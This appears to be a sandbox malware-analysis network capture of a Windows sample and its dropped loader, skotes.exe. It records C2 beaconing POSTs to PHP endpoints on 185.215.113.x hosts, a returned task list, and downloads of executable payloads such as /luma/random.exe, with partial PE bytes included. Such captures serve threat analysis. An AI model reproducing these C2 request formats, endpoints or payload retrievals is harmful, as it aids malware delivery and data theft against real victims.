Nov 8, 2024 15:21:30.955153942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:30.955162048 CET	636	IN	Data Raw: 4c 73 e2 93 71 73 ad 60 e5 1a 39 fc c0 34 26 94 d1 d4 0f da 18 98 70 01 1a b0 48 c4 e4 f4 e0 7b 2c 73 e2 93 71 73 ad 60 e5 1a f5 fb 1c 35 26 94 d1 d8 16 da 18 98 50 01 1a b0 48 24 e5 f4 e0 7b 0c 72 e2 93 71 73 ad 60 e5 1a e9 fb 34 35 26 94 d1 84 Data Ascii: Lsqs`94&pH{,sqs`5&PH${rqs`45&0H{rqs`@5&H{rqs`L5&lHD{rqs`T5&H{rqs`\5&H{lrqs`d5&D
Nov 8, 2024 15:21:30.955302000 CET	1236	IN	Data Raw: eb f4 e0 7b cc 70 e2 93 71 73 ad 60 e5 1a ed fb e8 35 26 94 d1 4c 0d da 18 98 f0 fe 19 b0 48 44 ec f4 e0 7b ac 70 e2 93 71 73 ad 60 e5 1a e5 fb f8 35 26 94 d1 2c 0f da 18 98 d0 fe 19 b0 48 a4 ec f4 e0 7b 8c 70 e2 93 71 73 ad 60 e5 1a e5 fb 00 35 Data Ascii: {pqs`5&LHD{pqs`5&,H{pqs`5&$H{lpqs`5&Hd{Lpqs`5&pH{,pqs`6&PH${oqs`$6&80H{oqs`46&
Nov 8, 2024 15:21:30.955319881 CET	1236	IN	Data Raw: d1 fc 14 da 18 98 30 fa 19 b0 48 84 fa f4 e0 7b ec 6b e2 93 71 73 ad 60 e5 1a f1 fb f8 37 26 94 d1 bc 0f da 18 98 10 fa 19 b0 48 e4 fa f4 e0 7b cc 6b e2 93 71 73 ad 60 e5 1a f1 fb 0c 37 26 94 d1 30 16 da 18 98 f0 f9 19 b0 48 44 fb f4 e0 7b ac 6b Data Ascii: 0H{kqs`7&H{kqs`7&0HD{kqs` 8& H{kqs`(8&H{lkqs`!08&lHd{Lkqs`t8&pH{,kqs`-8&LPH${j
Nov 8, 2024 15:21:30.955332041 CET	424	IN	Data Raw: 71 73 ad 60 e5 1a e9 fb 6c 3c 26 94 d1 bc 0c da 18 98 50 f5 19 b0 48 24 09 f4 e0 7b 0c 66 e2 93 71 73 ad 60 e5 1a f5 fb 78 3c 26 94 d1 54 11 da 18 98 30 f5 19 b0 48 84 09 f4 e0 7b ec 66 e2 93 71 73 ad 60 e5 1a 15 fc 90 3c 26 94 d1 54 0e da 18 98 Data Ascii: qs`l<&PH${fqs`x<&T0H{fqs`<&TH{fqs`<&\|HD{fqs`<&H{fqs`<&H{lfqs`<&<Hd{Lfqs`]\|
Nov 8, 2024 15:21:30.955343962 CET	1236	IN	Data Raw: 14 62 e2 93 80 60 d7 d8 18 39 e1 1c 59 b4 83 34 9e f6 e0 7b 6c 65 e2 93 9b 74 e9 56 e5 18 31 8b 5d b0 c8 d8 cd b1 e0 ec db 7c ad 60 e5 18 d1 8a 5d b0 c8 c8 cd b1 e0 ec db 18 e9 e7 5e b0 c8 b5 b4 b1 e0 5a 1d d4 86 8b 5d b0 c8 b0 cd b1 e0 ec db 1a Data Ascii: b`9Y4{letV1]\|`]^Z]']%M'H]ti^>%zH%nK97'rsV<@q$@qW\|`\|`lo;VVKp?51
Nov 8, 2024 15:21:30.960176945 CET	1236	IN	Data Raw: e5 7c ad 60 e5 7c ad 60 e5 05 6c 80 6f 3b d2 a3 6f 70 6e da 1c 00 a8 9a ac b5 25 94 7e bf b6 94 a3 f5 e8 16 d9 b4 30 7c e5 c2 e3 93 9b 74 e9 5a 1f 30 e7 d8 18 3b a7 f2 75 72 e5 93 e4 7c ad 60 e5 7c ad 60 e5 7c ad 60 e5 05 6c 80 a4 f5 e8 1c 1a 3b Data Ascii: \|`\|`lo;opn%~0\|tZ0;ur\|`\|`\|`l;&\|`\|`\|`lni_\|`\|`\|`lm3nVj1%ak;*S(;%ClyvrJp?\|`l%o%%vur\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49842	185.215.113.206	80	7596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:21:34.308933020 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 2d 2d 0d 0a Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAFBFCBGHDGCFHJJECAF--
Nov 8, 2024 15:21:35.712150097 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49843	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:21:44.467262983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 8, 2024 15:21:45.408926010 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49844	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:21:46.916560888 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 8, 2024 15:21:47.867841959 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 34 38 35 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 34 38 35 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 34 38 35 35 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 34 38 35 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1004853001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1004854001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1004855031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1004856001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49845	185.215.113.16	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:21:47.877163887 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 8, 2024 15:21:48.789144039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:21:48 GMT Content-Type: application/octet-stream Content-Length: 3204096 Last-Modified: Fri, 08 Nov 2024 14:04:20 GMT Connection: keep-alive ETag: "672e1a64-30e400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 b4 d1 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@ 11@Th@ @.rsrc@@.idata @anltzulc0+(+@tzjtjjai00@.taggant00"0@
Nov 8, 2024 15:21:48.789164066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:48.789171934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:48.789253950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:48.789268017 CET	1236	IN	Data Raw: 3c 3e 66 1d f9 ab e8 5d d0 a2 fd 2f d8 dd 9a aa bf 56 b8 a5 2a f0 d9 2a 66 d7 ad 9f f9 f7 fa a2 9c 3e 19 a8 51 f2 55 6b 7f 38 9a 8e b0 b2 6c 7b 7f 3e 20 99 e8 93 5b d0 a5 2c 99 2a e7 a1 ea 5f 91 3e 92 8e 74 83 33 80 fc 28 d9 42 e8 bd 99 c1 75 e0 Data Ascii: <>f]/V*f>QUk8l{> [,_>t3(Bu3`!\|&QS~fQ[xlfm)<b[_z&<M,n\|66)<Qnn&\|Zs&.768\|/y\|1s&"L6W\|eJ/\|
Nov 8, 2024 15:21:48.789381981 CET	1236	IN	Data Raw: f1 89 5b e8 7b 38 8a 8e 98 90 2c c1 8f 36 8a 8e 98 36 c0 21 ee bf 5b e8 77 38 8a 8e 98 7a 9a 8e a8 a3 26 d5 7c 7d 9a 8e 90 a3 51 f0 76 51 ad a5 3a ff fa 92 7c 3e e2 8e 7c b2 5a d5 79 a3 26 13 7d a2 26 d5 48 41 2f f8 9e 49 53 6e 98 83 51 6e 98 b7 Data Ascii: [{8,66![w8z&\|}QvQ:\|>\|Zy&}&HA/ISnQn^+!*"\|Sn^HU,/#i,#G)_h\|[?q~&"!_\|48p8,@&7q~&"'\|Q3V:8xt88Ve`7&\|8p6
Nov 8, 2024 15:21:48.789457083 CET	1072	IN	Data Raw: b4 38 9a 8e 8c 36 ea 8e 57 01 2f d5 7c 7a 9a 8e 8c a3 26 d5 7c 3e 30 ab f1 ef fa a5 fe 35 2f d5 7c 38 8a 8e 8c 58 5d dd 7c a2 54 2e 98 05 26 d5 7c 3e 20 ae ee d4 51 e0 f6 87 fa 23 69 33 56 3a 0c 33 56 3a 0c 38 8a 8e 84 38 18 23 6c 60 3e b2 f9 43 Data Ascii: 86W/\|z&\|>05/\|8X]\|T.&\|> Q#i3V:3V:88#l`>C!"~86W[l;S>m!x98?U)Zx^hy4E[c,x#'(D\|Q66cfz"!/<+Z\|)d,&/5{&Q
Nov 8, 2024 15:21:48.789469957 CET	1236	IN	Data Raw: 7b a0 56 6e 7c ef 4a 22 b8 9f ce 14 7c a1 26 d5 af 71 56 3a 0c 38 8a 8e 94 36 92 8e 70 20 21 aa 5f ac dc 21 c8 9f d6 23 4c 3e 0e aa ee 9a b0 aa d4 a3 39 df 7a f1 89 23 31 5b 6f 0d 7c a3 51 7e 98 b3 51 f0 d6 7b 26 ca 6a bc f1 e0 f6 60 33 bb 0c 33 Data Ascii: {Vn\|J"\|&qV:86p !_!#L>9z#1[o\|Q~Q{&j`33V:z&\|8746#jV:3V:3V:3V:8#Li/Q/>YA>Q~J#):Z.!8/N6/!8x8#Di3w/>Y'xU*1^v#I8!/A/
Nov 8, 2024 15:21:48.789483070 CET	1236	IN	Data Raw: 7e 93 51 db f8 60 25 a5 f8 3d d8 aa 7c 38 0e 29 59 be d7 2e e3 a1 26 d5 3a e1 db 9a f9 61 da 27 b2 a7 30 82 7e a3 26 9a 4e 34 6a 8e 00 a3 26 d5 51 9a 56 3a 0c 33 56 3a 0c 33 56 3a 0c 33 56 3a 0c 38 2b 21 b8 9f ca a5 2a bf d6 6c f4 be 98 91 c8 9f Data Ascii: ~Q`%=\|8)Y.&:a'0~&N4j&QV:3V:3V:3V:8+!l&\|6t^\[{,#?>9j?X:>;6p>m&-[y68#!#2!B-'pQfS~V:6l;h6XP8x64Z&/}Qz&y
Nov 8, 2024 15:21:48.789494038 CET	1236	IN	Data Raw: 9d a0 26 d5 f1 2f fa ba f1 cf fa ae 51 b8 53 7e 98 bf 1c a8 ac fb 98 23 c8 9f da 2f 3c 2f f3 dc bb 9f de 6a e8 5b 99 29 67 bf ad c8 8c 6d d5 ab 0c ff 26 22 36 a3 10 2a 5e 9b fe fb ff 60 4a 21 c8 9f da 22 76 90 11 68 51 74 53 7e 98 bf 51 fb f2 3f Data Ascii: &/QS~#/</j[)gm&"6^`J!"vhQtS~Q?6\|&?8\|&`{Vn\|;#4Q~35\|&/e}&\|Sx&: $\|Yz6V#o`1~qi\|\|&/&n\|;V8*^fQ@&\|Y
Nov 8, 2024 15:21:48.794145107 CET	1236	IN	Data Raw: 91 f7 fa a6 fb 78 d7 24 be a1 26 d5 f1 ff fa b6 97 ab dc aa 7e a3 26 22 36 38 d2 8e a7 60 a2 a8 f7 61 5b 57 74 a3 ad a9 f1 8f fa dc bb 9f de 6a f7 cf fa a6 eb de 5d f8 eb d2 51 d2 f8 43 db 5e d4 34 9f ab 3a ba f6 23 4f f8 aa 4b f7 61 5b c8 78 36 Data Ascii: x$&~&"68`a[Wtj]QC^4:#OKa[x6p/'mQ`$^8)^S~#O>QA!^}>"3V:8#dXO\|V:3V:8#d>!7[\|Us`8l)U?ZNzaE,(L#M>#V:3V:z&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49848	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:21:57.295115948 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 38 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004853001&unit=246122658369
Nov 8, 2024 15:21:58.207930088 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49850	185.215.113.16	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:21:58.238094091 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 8, 2024 15:21:59.222862959 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:21:58 GMT Content-Type: application/octet-stream Content-Length: 2125312 Last-Modified: Fri, 08 Nov 2024 14:04:33 GMT Connection: keep-alive ETag: "672e1a71-206e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 60 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 72 00 00 04 00 00 fe ec 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,`r@r @P.d. p.v@.rsrc .@.idata .@ ).@uikmugxwX@mucpsfolPrH @.taggant0`r"L @
Nov 8, 2024 15:21:59.222939968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:59.222955942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:59.223011017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:59.223021030 CET	1236	IN	Data Raw: 5a 78 78 0c 93 5c 01 5f 93 a4 43 1d 24 7c 55 ff b4 93 d1 f7 24 cf 61 e9 8f d6 26 47 e4 8b 83 a4 d2 75 ab d3 f8 3e a6 68 06 06 26 fe d1 7b 0a 81 ee de b9 f0 53 8e ac 0d 95 15 02 47 bb 7e 2c 21 93 f2 12 3c 3c 79 3f ad 1f a1 07 b7 4b 88 7c 34 5a 31 Data Ascii: Zxx\_C$\|U$a&Gu>h&{SG~,!<<y?K\|4Z1AT3`$r-x!2=\QI)i&oPJnlL!U{?3F5YtKz{O"!oNX~OrLJ"JJo_AQt$mt$%CV*
Nov 8, 2024 15:21:59.223031044 CET	1236	IN	Data Raw: c7 8c 71 6c 7e d8 f5 54 f1 f1 ba 07 60 fd d1 f7 71 a5 6c 8b 77 be 97 16 c3 4f 80 cf b5 fc 84 ed 0f 6d a6 ee c1 b4 ff f2 56 00 f8 f7 c3 83 9e 5e c5 e8 81 06 97 db 6d a4 48 fd cb c8 ec 29 a0 ad 0c 1f 8e 47 46 87 7d 49 fb 2c fe de cf fc b6 39 64 1e Data Ascii: ql~T`qlwOmV^mH)GF}I,9dzxG6hU~A`ehZb<qHvuTG&@5in~x_}n11m$h//{`0QJs{<q[4R5c mg_s
Nov 8, 2024 15:21:59.223043919 CET	1236	IN	Data Raw: 60 14 9c f0 6b 24 c9 fe cf 77 53 e4 20 9e f3 f8 4b fc 8a 0f 8a 81 74 64 f1 5f bb 64 8e b5 78 fe d7 a9 19 4a 21 d0 39 e8 8f 31 d8 8e 92 82 7c e4 aa ff 5b 47 06 b3 7f fd 96 82 7b a4 5c b1 7e 44 08 92 f2 7c 56 93 62 fa af 6d d5 95 b7 05 22 f6 a0 3d Data Ascii: `k$wS Ktd_dxJ!91\|[G{\~D\|Vbm"={D%)YbYKqXltyHN}q&XAyogF`phyy1YzI(ML.e
Nov 8, 2024 15:21:59.223174095 CET	1236	IN	Data Raw: e5 c2 89 f5 51 82 ef f8 c3 06 83 41 c0 b3 82 34 93 6d e1 b5 46 ab b9 4c 99 f1 ed 23 d4 83 15 4c b2 9d f9 60 99 15 8c 17 bb 0d 42 4e 38 14 83 d8 a2 93 a4 61 23 35 92 ac 99 b3 49 00 89 f9 61 47 e4 61 91 e0 b0 cf fa ee 08 a1 af 54 a2 81 9a 2c a4 8a Data Ascii: QA4mFL#L`BN8a#5IaGaT,@kb=P;dBpTD!!0I!KL1lkx3g{h+gyhNNm#tDK"ePOd?nyU6h
Nov 8, 2024 15:21:59.223185062 CET	1236	IN	Data Raw: 72 3b e0 7d 99 f1 71 72 0e c0 39 a9 7f 01 0b f6 1b 79 e6 6a c9 89 12 a5 c0 b9 82 ed e3 35 3e 4c b2 39 7b b4 88 bc f7 1e 38 d5 31 c5 a2 69 7b 0e 9c 09 01 78 7e 63 ab 03 94 c9 fe f5 98 f9 d3 40 a0 93 95 ef 03 e8 04 49 57 b3 aa 1c 99 58 b0 e3 a4 e9 Data Ascii: r;}qr9yj5>L9{81i{x~c@IWX5M`#T!8'2aAeAXhY<aZ\|=bodyp<eR,,5s1z~A)_5eU
Nov 8, 2024 15:21:59.223193884 CET	1236	IN	Data Raw: 97 fa 25 eb 81 ee 22 88 48 88 2e 95 9c f3 59 e9 6f fe b6 d7 fa f7 fe e8 88 7d 51 35 e5 67 e9 09 79 9e 24 ad 90 b9 f5 20 f4 2a bc eb 46 8d de a0 4c 2e e6 cd 73 c1 0e fc d8 b2 cb e4 97 26 0a f2 0a ee d6 e4 af 17 3e 3c de 0e 36 cd 00 41 c2 e7 03 10 Data Ascii: %"H.Yo}Q5gy$ FL.s&><6A!kGHnfl-"].,~YR~C-V^$V5C?kl`Lfs2"MeV<e?r\|,2jU93y}g'fEQ_@>I&WZ
Nov 8, 2024 15:21:59.223206043 CET	1120	IN	Data Raw: 05 11 3d ec c8 dd 45 81 22 51 2b 24 dc af a6 fd b4 81 45 c2 e1 69 68 38 33 1c b2 ef 0f 5c 09 07 ce 3b d7 94 11 85 93 0e 04 d9 4f a9 44 dd ed fc b6 c9 90 44 67 22 5c 07 c2 7e 53 f6 4f 66 87 e4 6a 0f 5c a2 90 79 76 ca e7 55 3e e0 d2 fb 5b a6 70 60 Data Ascii: =E"Q+$Eih83\;ODDg"\~SOfj\yvU>[p`ROZkcZw+vv\|eu9.+e-P0@Ei,/69i!X5rtjvF! )Vo?5M!"ebd:@^GvX:8mq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49857	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:06.595381975 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 38 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004854001&unit=246122658369
Nov 8, 2024 15:22:07.509798050 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49859	185.215.113.206	80	5908	C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe

Timestamp	Bytes transferred	Direction	Data
